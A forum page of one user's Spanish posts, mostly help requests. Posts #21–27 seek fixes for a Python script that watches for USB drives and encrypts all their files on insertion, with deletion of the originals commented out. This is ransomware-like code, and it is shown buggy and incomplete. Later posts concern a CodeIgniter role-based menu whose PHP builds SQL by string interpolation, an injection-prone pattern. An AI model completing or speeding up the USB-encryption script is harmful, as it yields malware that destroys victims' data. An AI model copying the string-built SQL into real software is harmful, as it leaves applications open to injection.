Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - geshiro

#21
otra duda si quiero modificar mi funcion en donde scaneo los archivos por sub folders por ejemplo todo el projecto codeigniter pero uso walk como hago para que no  demore mucho y lo haga rapido porque el script debe funcionar en cuanto detecte el usb boom
#22
espera como
Código (python) [Seleccionar]
for os.path.join(newly_mounted, x) in variable? encrypt_file(os.path.join(newly_mounted, x))
#23
como pudiera armar bien el path para abrirlos

se suponia que en esta parte le daba la ruta  de los archivos


      
Código (python) [Seleccionar]
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
#24
si de hecho ya lo intente solo que al mandarlo ahora me muestra que no puede encontrar el otro  incluso usando
Código (python) [Seleccionar]
encrypt_file(x)

Código (python) [Seleccionar]
Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\

Traceback (most recent call last):
 File "C:\Users\Aaron\Desktop\new\1.py", line 80, in <module>
   encrypt_file(x)
 File "C:\Users\Aaron\Desktop\new\1.py", line 25, in encrypt_file
   filesize = str(os.path.getsize(filename)).zfill(16)
 File "C:\Python27\lib\genericpath.py", line 57, in getsize
   return os.stat(filename).st_size
WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado: 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf'
#25
Le estoy pasando dicha variable
#26
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien
#27
lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo?

Código (python) [Seleccionar]

Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\

Traceback (most recent call last):
 File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
   encrypt_file(str(encrypt_files))
 File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
   filesize = str(os.path.getsize(filename)).zfill(16)
 File "C:\Python27\lib\genericpath.py", line 57, in getsize
   return os.stat(filename).st_size
WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"



Código (python) [Seleccionar]

from ctypes import windll
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
from Crypto import Random
import string
import time
import os, sys




def get_drives():
   drives = []
   bitmask = windll.kernel32.GetLogicalDrives()
   for letter in string.uppercase:
       if bitmask & 1:
        drives.append(letter)
       bitmask >>= 1
   return drives


def encrypt(filename):
chunksize = 64 * 1024
outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
filesize = str(os.path.getsize(filename)).zfill(16)
IV = ''

for i in range(16):
IV += chr(random.randint(0, 0xFF))

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, "rb") as infile:
with open(outFile, "wb") as outfile:
outfile.write(filesize)
outfile.write(IV)

while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break

elif len(chunk) % 16 !=0:
chunk += ' ' * (16 - (len(chunk) % 16))

outfile.write(encryptor.encrypt(chunk))


def list_files(path):
   files = []
   for name in os.listdir(path):
       if os.path.isfile(os.path.join(path, name)):
           files.append(name)
   return files



if __name__ == '__main__':
print 'Searching usb...'
while True:
before = set(get_drives())
time.sleep(5)
after = set(get_drives())
drives = after - before
delta = len(drives)
if (delta):
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
encrypt_files = list_files(newly_mounted)
print "letter: "+newly_mounted
print "fueron montados  %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted)
for x in encrypt_files:
if os.path.basename(x).startswith("(encrypted)"):
print "%s is already encrypted" %str(x)
pass

else:
encrypt_file(str(encrypt_files))
print "encryptacion terminada %s" %str(x)
"""os.remove(x) """
else:
print "no hay ningun usb"



#28
eso ya lo tengo lo que quiero es pasar todo el menu porque me da este error


Código (php) [Seleccionar]

A PHP Error was encountered

Severity: Notice

Message: Undefined variable: fields

Filename: views/modules_view.php

Line Number: 3

Backtrace:

File: C:\xampp\htdocs\storeLTE\application\views\modules_view.php
Line: 3
Function: _error_handler

File: C:\xampp\htdocs\storeLTE\application\views\home.php
Line: 147
Function: view

File: C:\xampp\htdocs\storeLTE\application\controllers\Home.php
Line: 14
Function: view

File: C:\xampp\htdocs\storeLTE\index.php
Line: 315
Function: require_once

A PHP Error was encountered

Severity: Warning

Message: Invalid argument supplied for foreach()

Filename: views/modules_view.php

Line Number: 3

Backtrace:

File: C:\xampp\htdocs\storeLTE\application\views\modules_view.php
Line: 3
Function: _error_handler

File: C:\xampp\htdocs\storeLTE\application\views\home.php
Line: 147
Function: view

File: C:\xampp\htdocs\storeLTE\application\controllers\Home.php
Line: 14
Function: view

File: C:\xampp\htdocs\storeLTE\index.php
Line: 315
Function: require_once
#29
no uses md5 o sha1 ambos pueden ser quebrados con una rainbow table incluso con salt
#30
Quiero recuperar mi JSON para mi controlador home porque quiero esos valores para mi menú basado en roles. Si hago esto con archivos separados  no funciona en  mi código. de view home Entonces, ¿qué es estoy haciendo mal con el? ¿Cómo se puede arreglar bien mostrando los valores correctos?


login controller:

Código (php) [Seleccionar]

<?php
defined
('BASEPATH') OR exit('No direct script access allowed');

class 
Login extends MY_Controller {
  public function 
__construct(){
    
parent::__construct();
  }

  public function 
index(){
    
$data['module'] = 'Login';
    
$this->load->view('login',$data);
  }

  public function 
getAccess(){
    if (
$this->session->userdata('logged_in') == TRUE){
      
redirect('home');
    }else{
      
$username $this->security->xss_clean($this->input->post('username'));
      
$password $this->security->xss_clean($this->input->post('password'));
      
$array $this->user->login($username,$password);
      if (
$array[0] == 0) {
        echo 
0;
      }else{
        
$data_session = array(
          
'id' => $array[0]['id'],
          
'name' => $array[0]['nombre'],
          
'last_name' => $array[0]['apellido'],
          
'type' => $array[0]['id_perfil'],
          
'logged_in' => TRUE 
        
);
        
$this->session->set_userdata('log',$data_session);
      }
    }
  } 

  public function 
logout(){
    
$this->session->sess_destroy();
    
redirect('login');
  }

  public function 
getModules($id_module){
        if(
$this->session->userdata('log')){
            
$data $this->session->userdata('log');
            
$menu = array();
            
$seccions $this->module->get_rows();
            foreach (
$seccions as $index => $sección){
               
$modules $this->module->query("SELECT CONCAT('".$sección['id']."',storelte_modulo.id) AS id,CONCAT('".base_url('assets/img/sidebar')."','/',storelte_modulo.icon) as icon, storelte_modulo.modulo AS value,storelte_modulo.seccion_id,CONCAT('".base_url()."',storelte_modulo.url) AS  url FROM storelte_modulo INNER JOIN storelte_modulo_perfil ON  storelte_modulo_perfil.modulo_id = storelte_modulo.id WHERE seccion_id = $sección[id] AND storelte_modulo_perfil.perfiles_id = $data[id] AND storelte_modulo_perfil.STATUS = 1");
                
$seccions[$index]['data']= $modules;
                if (!
count($seccions[$index]['data']))
                    unset(
$seccions[$index]);
            }
            foreach (
$seccions as $item)
                
array_push($menu,$item);
          
$this->data['fields'] = $menu;
          
$this->json($this->data);
          
$this->load->view('home',$this->data);
        }
    }
}



home controller:

Código (php) [Seleccionar]

  <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class 
Home extends MY_Controller {

  public function 
__construct(){
    
parent::__construct();
    
$this->isLogged();
  }

  public function 
index(){
    
$data $this->session->userdata('log');
    
$data['module']  = "Home";
    
$this->load->view('header',$data);
    
$this->load->view('home',$data);
  }

}



view home

Código (html4strict) [Seleccionar]

<section class="sidebar">
     <!-- sidebar menu: : style can be found in sidebar.less -->
     <ul class="sidebar-menu">
        <li class="treeview">
         <a href="#">
           <img src="<?= base_url().'/assets/img/sidebar/items.png'?>" alt="" class="menu-icon"> <span>Inventory</span>
           <i class="fa fa-angle-left pull-right"></i>
         </a>
         <ul class="treeview-menu">
           <li><a href="<?=base_url('inventory/product');?>"><i class="fa fa-circle-o text-aqua"></i> Product</a></li>
         </ul>
       </li>